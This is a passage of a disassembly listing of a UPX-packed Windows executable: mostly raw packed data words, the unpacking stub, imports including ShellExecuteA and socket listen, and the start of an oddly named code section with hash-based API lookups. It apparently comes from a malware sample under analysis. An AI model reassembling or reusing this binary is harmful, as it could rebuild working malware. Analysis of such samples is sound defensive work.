		dd 664B23D4h, 4B200323h, 42B9153Eh, 77FF8C86h, 90A64869h
		dd 0DC110101h, 2E7A399h, 74BBFB73h, 0AE426409h,	169CFB2h
		dd 2B90B92Ah, 0E4895111h, 5F517FFFh, 0B12C9C8Eh, 789E00DFh
		dd 212F1119h, 0F7100A14h, 0B45AC8B9h, 192D71A3h, 0BC87905Fh
		dd 192DA3B0h, 277A195Ch, 2D110647h, 0E0403519h,	0A3B9460Bh
		dd 554307F1h, 5016EAADh, 0E24D485Eh, 0D75C1309h, 5C3D45E6h
		dd 0BBF1F70Dh, 5782682Ch, 0BD19CF1h, 6C1DBE4h, 19FA0081h
		dd 6B047607h, 3603F667h, 5E595602h, 819955h, 4610008Fh
		dd 0A32D6833h, 10C84187h, 0FB15C310h, 0BD5DC9Dh, 657F16C1h
		dd 0FF6C038Eh, 79FFABBh, 4A12FA71h, 0E9F9D242h,	15D12053h
		dd 41C91025h, 0FEC3204Ah, 0ED46FDDFh, 51211351h, 39501041h
		dd 0D1D739D3h, 0D07715F3h, 7FFF15FBh, 210EDF89h, 391213E7h
		dd 5202108Fh, 13D82049h, 70C4F119h, 0E3205211h,	0ACEEB64Fh
		dd 1058ED66h, 5E13D108h, 35F6744Ah, 1C461325h, 10BF1084h
		dd 7FA5CFC4h, 0BEB9AC91h, 0AF276C9Bh, 109838E5h, 655D246Eh
		dd 131B09BFh, 0FFFF3FFFh, 864310A1h, 0C148DBh, 0B111C4B9h
		dd 40911CD8h, 0C44A437h, 57D4D026h, 0CF7268BAh,	9EF8C5F3h
		dd 78F9793Bh, 0E48F04C7h, 0F3E69EE9h, 36EDE83Ch, 4F263E10h
		dd 2E79E7D3h, 53155051h, 77B5253h, 548D7E81h, 31568B51h
		dd 79E722DCh, 5B58E79Eh, 0CB5F5C5Ah, 5E9E7806h,	80198E89h
		dd 47608314h, 1282361Ch, 87C324h, 172C9E2Ah, 88308632h
		dd 34D3D5E5h, 3D3575Dh,	0D1D907C5h, 34D365A9h, 0B1B9A54Dh
		dd 9A9BED89h, 819AE9A6h, 91950399h, 9A697D65h, 7113E9A6h
		dd 51554149h, 0A69A69A6h, 3921292Dh, 69A69B31h,	1901099Ah
		dd 0D2E91115h, 2775D34Dh, 3FD07E1h, 34C9F1F5h, 0C134D34Dh
		dd 0A1A9D1D9h, 0D7CCE9A6h, 3D29751h, 0A69A9D85h, 3B99BA69h
		dd 757D6591h, 0A69A7771h, 41454D69h, 0D34D0359h, 3B295D34h
		dd 9313921h, 0DD766705h, 1107973Bh, 3D3E98Fh, 4CE6CCE9h
		dd 0D39300F9h, 69A6CD03h, 0D5C1A69Ah, 0BAB1BDA9h, 9D9A69A6h
		dd 21717969h, 8489393Fh, 21316907h, 0DC6750CFh,	0DBAE9A6h
		dd 5030927h, 2FD0ED19h,	0E9A69A69h, 0CDF5E103h,	69A6C5C9h
		dd 0DDC1A6BAh, 0A9D1D91Fh, 9A69A69Ah, 818DB9A1h, 9B2C6D95h
		dd 796169A6h, 49834171h, 0F6CD35D8h, 41550B89h,	0D0510359h
		dd 4BC21776h, 0F3D02967h, 0D0350F3Dh, 10BBAEBAh, 50F0DFBh
		dd 151B1D03h, 7BA30BBAh, 13D1ABD1h, 0DDF90FE1h,	3E9B185h
		dd 23D1C1CDh, 0E9410FDDh, 0FF7BA69Ah, 0A1A95507h, 6BA7B903h
		dd 89B1A69Ah, 99579D81h, 9A300AC6h, 4B53D1D1h, 11DF192Dh
		dd 53D1A769h, 0EE9A77AFh, 8FABD199h, 7433E159h,	9BBA69A7h
		dd 13392129h, 0CBBB1B0Dh, 7FD11DD8h, 0AEE90B15h, 0E9B1F98Bh
		dd 0C5AE93BAh, 0DD03C107h, 30AEAED5h, 0A19B9776h, 0A3AEB50Bh
		dd 0B19776B1h, 3891BEBh, 9DAFAE85h, 6FAE950Bh, 0B7300B01h
		dd 6270619Fh, 16F00736h, 707D73B7h, 0BA61E306h,	2F806EE9h
		dd 0B70787Ah, 70637E79h, 0B36F3D9h, 60622BFBh, 0E7117E7Dh
		dd 5062B600h, 0A070473h, 23DF000Ch, 54FC110Bh, 13E7A014h
		dd 9B2D5828h, 137FEC0Dh, 32D91D33h, 70B9BB7h, 17567C7Eh
		dd 0B50ACD0Fh, 6B74876Eh, 0BE5F075Dh, 7D361379h, 7C74677Eh
		dd 68747F7Eh, 65647D62h, 3F83F7A1h, 79726578h, 0CA72645Fh
		dd 0FB3B08Bh, 74E76962h, 0B64E7633h, 0BD9BB6Dh,	1A666007h
		dd 1511236Bh, 0B787407Bh, 6B706070h, 9E07420Bh,	0FF941EECh
		dd 23616907h, 2689827Ah, 7829284Fh, 9736281Bh, 0B7C74E4h
		dd 0B0587247h, 0C77EF543h, 45CDEF0Bh, 99E88035h, 5AA0D6A7h
		dd 0AA27906Bh, 0DC284D62h, 0CBDDB9EFh, 0C4656383h, 58662FD9h
		dd 74961F7h, 0EB647F17h, 8096D6B3h, 8D0A707Ah, 387767C9h
		dd 7C13466Bh, 65622B0Eh, 758320CEh, 250724B4h, 5DCD8A20h
		dd 74632D28h, 5868F621h, 1535F809h, 0ED757037h,	8809043h
		dd 0C2236586h, 0EC064B92h, 11110B21h, 0D8327272h, 11111107h
		dd 6E72FB70h, 21C70703h, 0C3666127h, 4FA10DECh,	0EB2707EBh
		dd 0D8BA12D9h, 111E0F70h, 2E730BE9h, 2B207152h,	5B0B0703h
		dd 84817BD0h, 3065211Fh, 9737E14h, 7E554D0Dh, 57046472h
		dd 81ED0FC2h, 6DDD4217h, 2C504D62h, 0A0BECBB5h,	4D20626Bh
		dd 0BAC6A230h, 377CEDB2h, 844D0750h, 724410B6h,	0C20B72F3h
		dd 1646D65Dh, 11113713h, 80D92317h, 571F1127h, 19F6034Bh
		dd 75BC932Ah, 0EF68720Bh, 1B2325B9h, 346A0313h,	7722EC22h
		dd 0C315AF77h, 0BB73E15Ch, 57F6629h, 52926417h,	0E4AD6298h
		dd 5B1265DDh, 0F1175586h, 0AB9E1B78h, 35D44B78h, 2049F91Ch
		dd 0C378637Eh, 74B9A086h, 703C8CDAh, 5373CF60h,	72238CFBh
		dd 0AF126278h, 267C7378h, 72C6A775h, 702FAB6Fh,	0F001E97Bh
		dd 8BF3832Ah, 2C236741h, 76697E8Fh, 6B52EF6Dh, 64331326h
		dd 7FA2A361h, 51C9DA39h, 35CB5F12h, 0B2B59B11h,	7797A33h
		dd 4ED68C37h, 556587ADh, 6BAB28C4h, 9F5ACE33h, 41906417h
		dd 73466D18h, 0CB8F626Fh, 1B93E719h, 226EF76Ch,	9B116373h
		dd 74076264h, 96AA44A3h, 7ABEB39Ah, 476A46DFh, 7B170228h
		dd 78DF827Eh, 0F4ECE137h, 77E7D717h, 0B8211F5Ah, 7B163615h
		dd 737E1708h, 0BD3B5C67h, 832FE683h, 606F4159h,	0DF04F7CBh
		dd 70B7479h, 0D937B60h,	3B63746Bh, 11527403h, 90BB152Bh
		dd 0CA050C0Fh, 64230A6Ch, 0CC7BF669h, 6F067846h, 3539A64h
		dd 0DECE4168h, 0F1620770h, 6B036D81h, 7B0B65C4h, 2E451B63h
		dd 406D857Bh, 2628650Fh, 201A2FDBh, 1B1C3C31h, 0A4262307h
		dd 3CE3C060h, 10044546h, 25420A42h, 0FFA058A9h,	0FF2766FBh
		dd 4BB23F5Fh, 31693C27h, 31D13122h, 20317977h, 31252321h
		dd 0A0B5BB91h, 2167DC5Bh, 0D916122Bh, 758C4BF6h, 63696663h
		dd 0C0276324h, 28E900DAh, 8F26923Ch, 6BD0483Dh,	7B212420h
		dd 0F057BE9h, 8F65E023h, 0A11B2220h, 24B6C236h,	3D130314h
		dd 4B927B02h, 74694FC5h, 4B242325h, 1E4BB3E4h, 211EFC19h
		dd 393215Fh, 0BFD8F679h, 33312624h, 2917333Eh, 202710E6h
		dd 80D9F220h, 2023A91Ch, 35BE94Fh, 5C9ECB84h, 63FDC922h
		dd 93089322h, 2BF91C44h, 36A33193h, 21CEF106h, 0D320A733h
		dd 6E1062CDh, 0F50FCB2Fh, 27EA2401h, 414557E3h,	0A9511831h
		dd 57CE6D4h, 0B97B9DB8h, 21BB6AAEh, 6320FB01h, 0A10254BBh
		dd 690B7A15h, 4047080Fh, 86020E00h, 4B57120Dh, 41443223h
		dd 999E6954h, 656D041Ch, 0D82F5C89h, 8F45B204h,	4D8B4565h
		dd 1406C091h, 0FFFF04CFh, 46A8AA3Eh, 914F05E0h,	11EE2065h
		dd 14FAE8F3h, 0FFFFF7F9h, 228F0467h, 529A75CAh,	1D519A21h
		dd 0BC0D619Ah, 0F919699Ah, 1077FFF7h, 9A474299h, 4D9A2D4Eh
		dd 0CE12692Ah, 314A9A42h, 0F46E8505h, 15D2927Fh, 0E612229Ah
		dd 23BDD822h, 0D514D0B9h
		dd 0FFFEDFF9h, 0DB3AE764h, 3A49F864h, 4FFAC0C9h, 28354F12h
		dd 9A1A9A77h, 0CE120D4Fh, 0C0F0049Ah, 4FD6127Fh, 4FF1EE4Ah
		dd 0BF79A879h, 0E4DFFE21h, 7F83AB45h, 0C7EE9515h, 0FD90E99Ah
		dd 42FD9A99h, 627B107Bh, 13EDB42Dh, 115792ABh, 579AC15h
		dd 0E6FFFB7Eh, 9AC51918h, 43017BC9h, 2172AB42h,	411A4B71h
		dd 444113A5h, 0DF2C17D8h, 7149110Ch, 0F477AEF3h, 0D85F9B3h
		dd 11AF4201h, 0DCD3B781h, 5176F99Dh, 2A6BB941h,	109B062h
		dd 0B7DE78C2h, 20DD8044h, 0AFC7D122h, 0FF6E4552h, 23540DE5h
		dd 77086863h, 136C90h, 6FC6400h, 0B7F83315h, 6400ED84h
		dd 1115AAF5h, 9A31FD92h, 0DA13FB64h, 0E7B497Fh,	154C98FDh
		dd 0C2CB1998h, 98E32368h, 1B430574h, 0DB1BF046h, 6954988Bh
		dd 441541E9h, 0E81564EEh, 78D97F0Eh, 0E992F177h, 0D4941E15h
		dd 341C7B90h, 14AC87B6h, 2E09549Eh, 0EFFB7213h,	0D169676Fh
		dd 2CAB0936h, 494D7AC2h, 951E510Dh, 0B7B3379Ch,	0A61D184Dh
		dd 0FF56051Ch, 77FFECFFh, 65D1944Dh, 50D99A0Fh,	9C424665h
		dd 1E40015Ch, 0AFA8AB0Dh, 0FCBBDAE4h, 511B2BBBh, 4D0FD4FAh
		dd 7B8CD482h, 5F77C955h, 9AF17F68h, 0BAC69AEDh,	0BA48654Bh
		dd 4340ECF3h, 2FFE4143h, 760066FFh, 3785E03Dh, 42D6EF49h
		dd 0C710AB41h, 1EFBCF25h, 3D0BD65Bh, 36DE4296h,	0BB831D76h
		dd 94FC8FDBh, 0AB162047h, 0D01D57ABh, 0A7F21109h, 0B9CF02F7h
		dd 5D1C563Ah, 0B036BDDh, 9A419B27h, 0ED19313Dh,	43E0F9DAh
		dd 0CDDA9676h, 9EC7CB00h, 3FFEC391h, 888F6F04h,	0BAD8EDCAh
		dd 0A0E2F7C4h, 0FFEC1FAFh, 0C7C2F92Fh, 0CFB89395h, 0CEB18FEDh
		dd 0ECB5FBBDh, 0CF80AA83h, 40FFFC43h, 9FC6C63Eh, 0AB87FDD2h
		dd 0E1ECB8CAh, 89A284ABh, 9F92C006h, 119290CFh,	0D42189E7h
		dd 0B1DDBAFFh, 0C4A7BDE4h, 630A8FA6h, 0E2700081h, 77C373h
		dd 536AF417h, 83644CBAh, 64247B04h, 9BBF213Eh, 0C9949700h
		dd 0C211BECCh, 0C31193C4h, 58421E0Ah, 90B45017h, 9D8DF607h
		dd 9FEDD1B4h, 0C3C739B7h, 0A73B2AB1h, 0A8001A43h, 5E566D8Bh
		dd 38E84407h, 0DCF122CDh, 3E61509Fh, 0FE00B87h,	0A207A009h
		dd 4258583Ch, 0D858703Eh, 1F133729h, 8F553896h,	5E112B15h
		dd 0F03E16B5h, 0DD0A12C4h, 50964211h, 7FD351B0h, 60549160h
		dd 32310A8Ah, 3FC24C15h, 1AEB314Dh, 0CD2B4402h,	60762146h
		dd 623B79A7h, 4596CF22h, 0D0620378h, 765BA827h,	62541820h
		dd 7B02B67Eh, 2C8FAD0Fh, 312B6D2Bh, 1C123D10h, 52AB0F64h
		dd 6B0470C2h, 0CB0150D7h, 333E905Ch, 0FAA3DEDh,	0B8657810h
		dd 122C05E6h, 0F81B65B1h, 982038BFh, 0DD7D1789h, 2B403B33h
		dd 72A6A3h, 595B236Ch, 365A3A73h, 23473980h, 61807D79h
		dd 812D5724h, 6D43AB1Ah, 54D837B4h, 4BC6225h, 0A3066209h
		dd 0D578548Ah, 5A0A9274h, 981B1FCAh, 60211055h,	25113972h
		dd 6EF081A4h, 8AA110AAh, 6615D2CFh, 0B3DA9815h,	0D902F264h
		dd 3BC16612h, 6C398EADh, 852D0458h, 3B062058h, 64720919h
		dd 0C652687Ch, 51C25AC2h, 0E3B78A23h, 0AE58C00Dh, 2C64B03Ah
		dd 7833036Bh, 97B24AFh,	561A751Bh, 25BC0475h, 74200DDEh
		dd 0EE6507FFh, 683C5B61h, 6B272250h, 75292550h,	0E97EA5FFh
		dd 0B5777954h, 43567976h, 24793D76h, 67557D44h,	0A5FC1122h
		dd 57B76382h, 4957247Dh, 78624D41h, 16C0680Bh, 303F60h
		dd 0D9580268h, 2776C716h, 0B3005478h, 3105EB56h, 2E30606Ch
		dd 0F46E5004h, 42DD3438h, 504B15Eh, 1852DFF7h, 6061B23Fh
		dd 28A3522Dh, 2D0C011Dh, 70230F44h, 314D934Dh, 42C7A4Dh
		dd 6ABB6366h, 406C961Ch, 45E63E4Ch, 0A411931h, 0C1485016h
		dd 6C968804h, 0C8344521h, 0A64336C5h, 13055102h, 855B76A6h
		dd 3C41AF1Fh, 3097342Ch, 0D157B817h, 950F570Fh,	41386606h
		dd 0EC2F0F71h, 0D96DF95h, 4A344A00h, 4B0C4C4Fh,	361B0D98h
		dd 0C3333B43h, 13824ECAh, 0A5D9DB4Ah, 0CAB290ECh, 0D0911460h
		dd 82653296h, 401F5A7Dh, 31301830h, 0AFD231F2h,	1F868210h
		dd 502B5458h, 0C1D86A78h, 45527EEAh, 127D4131h,	9CAE0C02h
		dd 0CB6013DDh, 132B0586h, 9220365Bh, 0D95C314Dh, 0F607057Dh
		dd 85759C6h, 4078554Ah,	46A4AC2Ch, 172D01D7h, 73EA55Bh
		dd 8D149706h, 63719B3h,	0BD92358h, 745BBC2Eh, 24882720h
		dd 0EC77EF24h, 5C7F61D8h, 54315F42h, 580E3CF9h,	5FCB855h
		dd 73DA980h, 20292873h,	874D7228h, 31C7EC2Dh, 0FD65013Ch
		dd 71598488h, 2674241Fh, 0B8AC574h, 212165BBh, 255E63h
		dd 0B6CAA673h, 694C5CCCh, 77901B81h, 20332475h,	1B8C09C7h
		dd 6934B411h, 563D1F5Bh, 0BC640F18h, 1437610Fh,	0A04B7EFFh
		dd 9D00C13Ch, 7A034328h, 63663058h, 238048CBh, 0DD6D6074h
		dd 0B88E0A30h, 0C2647447h, 21A1780Ah, 313A3AF4h, 28142168h
		dd 39637F77h, 18AB8A98h, 4E423758h, 10D7107Ch, 0D5545BB7h
		dd 7008775Eh, 95818163h, 1CB4BD4Ah, 13362BBFh, 7F1EA480h
		dd 1608B0D5h, 0D6635782h, 47EDB58Bh, 58056765h,	0C96787DBh
		dd 0A27B4822h, 0AB716B42h, 4D8B8C14h, 0A2CB427h, 0EA5BB2D8h
		dd 0C3206164h, 660DCCA5h, 4B4C74DFh, 0C0A1099Ch, 4AD713CCh
		dd 18A3A86Ch, 0C81B1709h, 95D34D30h, 919D03B3h,	60C83269h
		dd 750727A7h, 8320C84Dh, 2D55410Ch, 320C82F9h, 390B2125h
		dd 6C19064h, 1D090731h,	19072720h, 0E5C9ED15h, 0E4F2720Ch
		dd 0C9F9D0EDh, 0C832C1F1h, 0D5DD8320h, 0E41C9CA9h, 0B9BD430Bh
		dd 0C832B1C9h, 81898320h, 83203699h, 7D69910Ch,	8320C833h
		dd 454D750Ch, 320C8080h, 820555Dh, 9B5B0700h, 105E8DEh
		dd 588C3383h, 51613152h, 131BA2C3h, 0B1851483h,	0EFD7755Fh
		dd 0E4E6C564h, 64310760h, 0BB7D723Ch, 0D06B8407h, 62070C29h
		dd 8ED32D68h, 3C13BB12h, 99AA9252h, 2BB7A368h, 3C59420Bh
		dd 132628DCh, 0B836F8Dh, 613EBB24h, 0E8057811h,	8A4D13B6h
		dd 7D0277DAh, 0C3839CD1h, 5BCC3F07h, 0F20BD150h, 7688A2Dh
		dd 899F063Ch, 650321E6h, 97BC6431h, 2CDA8969h, 9AF0E7Ah
		dd 0B0DC9057h, 132C2C67h, 306C8908h, 5F13DE02h,	0C4134F2Ch
		dd 3115376Ch, 5A944D2Bh, 78F7BDF4h, 0A3506877h,	81835C07h
		dd 48BDF660h, 8B07610Bh, 37B37CB4h, 42084F6Dh, 5A985E61h
		dd 61C0CA9h, 9AC949F8h,	2BF60A30h, 0EF584D62h, 64482F89h
		dd 1D747732h, 802C196Ch, 62428E7Dh, 3810267Fh, 23B78DA2h
		dd 0F6448F96h, 0CBEB2833h, 17FC6183h, 85A24B0Ah, 0EEF7DFABh
		dd 6403A5BDh, 1FFFFF8Ch, 8FB0D30Ch, 0C9C7BE18h,	0C9FC29E8h
		dd 234C49DFh, 6543FECCh, 0C8CCC7C0h, 0D4B39E99h, 136C90E0h
		dd 83DB8843h, 51001127h, 0D0A2BFC9h, 0E0CEC994h, 0A3E34311h
		dd 1D735A5Ah, 0F2545310h, 0C49284FFh, 0EDD8E0C2h, 0A3EDBD81h
		dd 9822CD9h, 0CECEB7FFh, 0CAB1C5E3h, 12DF01ADh,	742F8207h
		dd 0A2186178h, 8396C103h, 97406C6h, 45EBA03Eh, 61D9517Dh
		dd 173662C6h, 1A17A145h, 72877F07h, 2598283Dh, 0ABE588F4h
		dd 5837207Ah, 5DC8D92Bh, 69054D8Ch, 6226934h, 0B8203FF8h
		dd 2C717903h, 459ECE1Ah, 749F010Ah, 297F3FD7h, 8C03A2Bh
		dd 3F5063ADh, 4E47502Eh, 81AAA4FDh, 20744E60h, 81A6751h
		dd 0C1F3606h, 19A32A4Eh, 0DD1EB70Ah, 81651168h,	2AA016FAh
		dd 0FF00AEA1h, 52500041h, 2464FF68h, 0FFFF68F0h, 0FF589BFFh
		dd 408B50D4h, 95B005F2h
		dd 850F95F6h, 0FFBB8101h, 4167F168h, 1000BF00h,	0FFB73440h
		dd 0B900F6h, 37800970h,	0CF394753h, 8011F875h, 5D20E041h
		dd 0E811F235h, 0B08AC351h, 0FF0E5101h, 0E42A39BFh, 16030h
		dd 74654701h, 73726556h, 0FBA56F69h, 456EF23Fh,	6F4C4178h
		dd 656C6163h, 6F666E49h, 0EEF6530Fh, 7543FFB7h,	6E657272h
		dd 5694474h, 726F7463h,	736C1579h, 76227274h, 6ED9FF60h
		dd 6E69572Fh, 73776F64h, 0CD0A431Fh, 5082ADDAh,	22236946h
		dd 0FEF65BF6h, 6D695409h, 190C4F65h, 0DE4A7953h, 65EC0DBFh
		dd 617E3B6Dh, 62694C64h, 5B0D6172h, 22FDBDBBh, 41907250h
		dd 73216464h, 69A40F73h, 62C7D97Bh, 6F430C10h, 4C647970h
		dd 7B374A61h, 0AA456D6Bh, 72570D45h, 0EC707E69h, 48B7B6C9h
		dd 8E506863h, 69509768h, 0DF807C70h, 4FD9D9B2h,	656D6F12h
		dd 802342EDh, 0A0614E10h, 70085B30h, 0B60F20B3h, 0B6C31A6Bh
		dd 4364EC97h, 23643490h, 6E566EB6h, 7A6552BFh, 75194D1Dh
		dd 0DC2BD96Fh, 2161480Ah, 2C2011A5h, 6260DB61h,	3C6E484Fh
		dd 50CE0B0Ch, 10164D18h, 776568C0h, 7097CACBh, 6D726554h
		dd 6F6C9B8Ch, 12F0A173h, 41575A66h, 243B9874h, 0C05CFDA1h
		dd 106544ACh, 6D86A285h, 0CE46D523h, 7FFBD465h,	6CE1AD73h
		dd 6D6E550Dh, 69567061h, 664F7765h, 0B096EB6h, 0CB0E4D3Bh
		dd 0F6DACF18h, 678270B6h, 4D627AC7h, 7F7453A1h,	1E6C2617h
		dd 73C63C75h, 7053626Bh, 0C3B6DD61h, 444EA268h,	796C7690h
		dd 170B0A70h, 63F9FF82h, 75752F6Bh, 0DDBB46B5h,	0D375510Dh
		dd 68035079h, 75ADB2DAh, 3A31C6ADh, 79081271h, 30DDA11Ah
		dd 0D96531B6h, 0B4427349h, 84B6486Fh, 0CC14E816h, 0D0B6EDB9h
		dd 99698DB5h, 72317A69h, 0C3820009h, 5853F2D1h,	29F7EFDCh
		dd 2F49DD7Bh, 442A5545h, 106C7075h, 4206310Ch, 0BC595D74h
		dd 12619E9Eh, 0E2654D11h, 905B630Bh, 9873596h, 5B765A16h
		dd 0D51ADBA3h, 56706D4Dh, 76629482h, 860ECC68h,	44906223h
		dd 0D91A59A7h, 0F197A576h, 6EDDEE00h, 4167091Bh, 6C3A6D75h
		dd 0FC0E3775h, 0CE09B011h, 654B3910h, 0C22C5879h, 330E683Bh
		dd 2CD8111Eh, 0FB66E61h, 21732B8h, 55A36EC6h, 74A2E973h
		dd 50D75852h, 6D456272h, 1474DB6Eh, 2979AC1Ch, 61526EE2h
		dd 63410F6Dh, 2B586CC7h, 5924D9A5h, 0B366B58Bh,	0FEC058BDh
		dd 0D95F6114h, 2B9C15CEh, 94F006C9h, 0B42C0AF2h, 7843E196h
		dd 7E2BA878h, 9ABB707Fh, 3F6A27E3h, 1B74313Fh, 40406E2Ch
		dd 0FDCF1AE0h, 40454155h, 2A295A58h, 0C6C3990Eh, 0EA819866h
		dd 766D6D0Ah, 0DCD1EF7Dh, 48236404h, 0B6C50602h, 766C9BC2h
		dd 4C706E73h, 0DE2A6692h, 6F8B5B7Bh, 3B77957Fh,	0FBE61032h
		dd 7420CDFFh, 41594032h, 49584150h, 330D5A40h, 0B9ED61EDh
		dd 470D0E58h, 0D7625F25h, 70C5AEB1h, 0FE85909h,	0DBEEB665h
		dd 685FD9DAh, 0E113392h, 68667A69h, 6B619D6Dh, 31691D06h
		dd 63756C2Ch, 8D9B2DCEh, 98F56E73h, 5B2E0213h, 730776D7h
		dd 610F4363h, 73666938h, 0B9C330A1h, 6C10654h, 0EEAF7D5h
		dd 5163069Dh, 7CA7707h,	35ACDAC5h, 35C95704h, 75CC97E2h
		dd 25071DAEh, 75B33B63h, 877BDEEBh, 5507201Dh, 74946D3Dh
		dd 0B62C0C13h, 0CD699C94h, 0AE2E59B6h, 0FFC80109h, 0D0160BC8h
		dd 0FB828D1h, 6C6853BAh, 381D93A4h, 41E2D6CDh, 0C9D82217h
		dd 285A6813h, 8D721504h, 0E179F664h, 43914F0Bh,	6C417211h
		dd 754E1770h, 8EB0416Dh, 7712EB42h, 0C66B5891h,	2D542181h
		dd 0B4DB3B49h, 85E60C5h, 67618B4Dh, 9ED96568h, 0F48C2DEEh
		dd 1970204h, 96596596h,	13021516h, 96590A05h, 0C175965h
		dd 65386F33h, 12659659h, 34097003h, 96596596h, 8100B06h
		dd 0A3B67414h, 0FD115B7Ch, 49415357h, 239FF25h,	0CB4EDCBBh
		dd 3630D73h, 14C4550h, 99FF486Ah, 0CFC4C07Bh, 0E00009h
		dd 10B010Fh, 10528206h,	8200ECDBh, 8B020913h, 376CDD66h
		dd 40001370h, 1E04120Bh, 0C96B2ECDh, 2141707h, 0B788CB10h
		dd 90702ECh, 805DB67h, 173C8F9h, 70A7A000h, 0DDD91E02h
		dd 0B62E0AE9h, 15FE707h, 0C2E1B890h, 2304EBBEh,	722E0A20h
		dd 6B043C64h, 23616AD8h, 6403FB0Eh, 0ECB9AF7Dh,	262E4002h
		dd 253F70CFh, 8027D34Dh, 53C07460h, 0D9595243h,	50C21B67h
		dd 4BA00454h, 0F07701D4h, 3D1BA365h, 3766E02h, 207h, 0
		dd 0FF004800h, 7000BE60h, 0BE8D0041h, 0FFFEA000h, 0FFCD8357h
		dd 909010EBh, 90909090h, 8846068Ah, 0DB014707h,	1E8B0775h
		dd 11FCEE83h, 0B8ED72DBh, 1, 775DB01h, 0EE831E8Bh, 11DB11FCh
		dd 73DB01C0h, 8B0975EFh, 0FCEE831Eh, 0E473DB11h, 0E883C931h
		dd 0C10D7203h, 68A08E0h, 0FFF08346h, 0C5897474h, 775DB01h
		dd 0EE831E8Bh, 11DB11FCh, 75DB01C9h, 831E8B07h,	0DB11FCEEh
		dd 2075C911h, 75DB0141h, 831E8B07h, 0DB11FCEEh,	0DB01C911h
		dd 975EF73h, 0EE831E8Bh, 73DB11FCh, 2C183E4h, 0F300FD81h
		dd 0D183FFFFh, 2F148D01h, 76FCFD83h, 42028A0Fh,	49470788h
		dd 63E9F775h, 90FFFFFFh, 0C283028Bh, 83078904h,	0E98304C7h
		dd 1F17704h, 0FF4CE9CFh, 895EFFFFh, 2BB9F7h, 78A0000h
		dd 3CE82C47h, 8BF77701h, 45F8A07h, 0C0C1C486h, 29C48610h
		dd 0E8EB80F8h, 789F001h, 8805C783h, 8DE0E2D8h, 20000BEh
		dd 9078B00h, 8B4574C0h,	848D045Fh, 2200030h, 50F30100h
		dd 0FF08C783h, 220A096h, 78A9500h, 74C00847h, 79F989DCh
		dd 7B70F07h, 0B9475047h, 0AEF24857h, 0A496FF55h, 9000220h
		dd 890774C0h, 4C38303h,	96FFD8EBh, 220ACh, 20A8AE8Bh, 0BE8D0002h
		dd 0FFFFF000h, 1000BBh,	6A545000h, 0FF575304h, 0F878DD5h
		dd 80000002h, 60807F20h, 50587F28h, 57535054h, 6158D5FFh
		dd 8024448Dh, 0C439006Ah, 0EC83FA75h, 0D19FE980h, 0FFFFh
		dd 67h dup(0)
UPX1		ends

; Section 3. (virtual address 00023000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0000C400
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
UPX2		segment	para public 'DATA' use32
		assume cs:UPX2
		;org 423000h
		dd 3 dup(0)
		dd 230E4h, 230A0h, 3 dup(0)
		dd 230F1h, 230B4h, 3 dup(0)
		dd 230FEh, 230BCh, 3 dup(0)
		dd 23109h, 230C4h, 3 dup(0)
		dd 23116h, 230CCh, 3 dup(0)
		dd 23122h, 230D4h, 3 dup(0)
		dd 2312Dh, 230DCh, 5 dup(0)
UPX2		ends

;
; Imports from KERNEL32.DLL
;
; ===========================================================================

; Segment type:	Externs
; _idata
; HMODULE __stdcall LoadLibraryA(LPCSTR	lpLibFileName)
		extrn LoadLibraryA:dword ; CODE	XREF: sub_43201B+28p
					; DATA XREF: sub_43201B+28r
; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName)
		extrn GetProcAddress:dword
; BOOL __stdcall VirtualProtect(LPVOID lpAddress,SIZE_T	dwSize,DWORD flNewProtect,PDWORD lpflOldProtect)
		extrn VirtualProtect:dword
; void __stdcall ExitProcess(UINT uExitCode)
		extrn ExitProcess:dword

;
; Imports from ADVAPI32.dll
;
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
		extrn RegCloseKey:dword

;
; Imports from MSVCRT.dll
;
		extrn ceil:dword

;
; Imports from OLEAUT32.dll
;
; HRESULT __stdcall GetErrorInfo(ULONG dwReserved,IErrorInfo **pperrinfo)
		extrn GetErrorInfo:dword

;
; Imports from SHELL32.dll
;
; HINSTANCE __stdcall ShellExecuteA(HWND hwnd,LPCSTR lpOperation,LPCSTR	lpFile,LPCSTR lpParameters,LPCSTR lpDirectory,INT nShowCmd)
		extrn ShellExecuteA:dword

;
; Imports from USER32.dll
;
; int wsprintfA(LPSTR,LPCSTR,...)
		extrn wsprintfA:dword

;
; Imports from WS2_32.dll
;
; int __stdcall	listen(SOCKET s,int backlog)
		extrn listen:dword


; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
UPX2		segment	para public 'DATA' use32
		assume cs:UPX2
		;org 4230E4h
aKernel32_dll	db 'KERNEL32.DLL',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
aMsvcrt_dll	db 'MSVCRT.dll',0
aOleaut32_dll	db 'OLEAUT32.dll',0
aShell32_dll	db 'SHELL32.dll',0
aUser32_dll	db 'USER32.dll',0
aWs2_32_dll	db 'WS2_32.dll',0
		dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h, 41636F72h
		dd 65726464h, 7373h, 74726956h,	506C6175h, 65746F72h, 7463h
		dd 74697845h, 636F7250h, 737365h, 65520000h, 6F6C4367h
		dd 654B6573h, 79h, 6C696563h, 68530000h, 456C6C65h, 75636578h
		dd 416574h, 73770000h, 6E697270h, 416674h, 17h dup(0)
		align 1000h
UPX2		ends

; Section 4. (virtual address 00024000)
; Virtual size			: 0000D000 (  53248.)
; Section size in file		: 0000C04B (  49227.)
; Offset to raw	data for section: 0000C600
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
wto1jq8f	segment	para public 'CODE' use32
		assume cs:wto1jq8f
		;org 424000h
; START	OF FUNCTION CHUNK FOR sub_42CFE2
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing


loc_424000:				; CODE XREF: sub_42CFE2:loc_42E75Bj
		jnz	loc_42BF6F
		call	sub_427A9E
		call	sub_424585
		mov	edx, 0CF0182F6h
		call	sub_426C04
		mov	ds:dword_42DB0C, eax
		jmp	loc_42BF6F
; END OF FUNCTION CHUNK	FOR sub_42CFE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_424024:				; CODE XREF: sub_42A909+6AAj
		rol	ebx, 0Bh


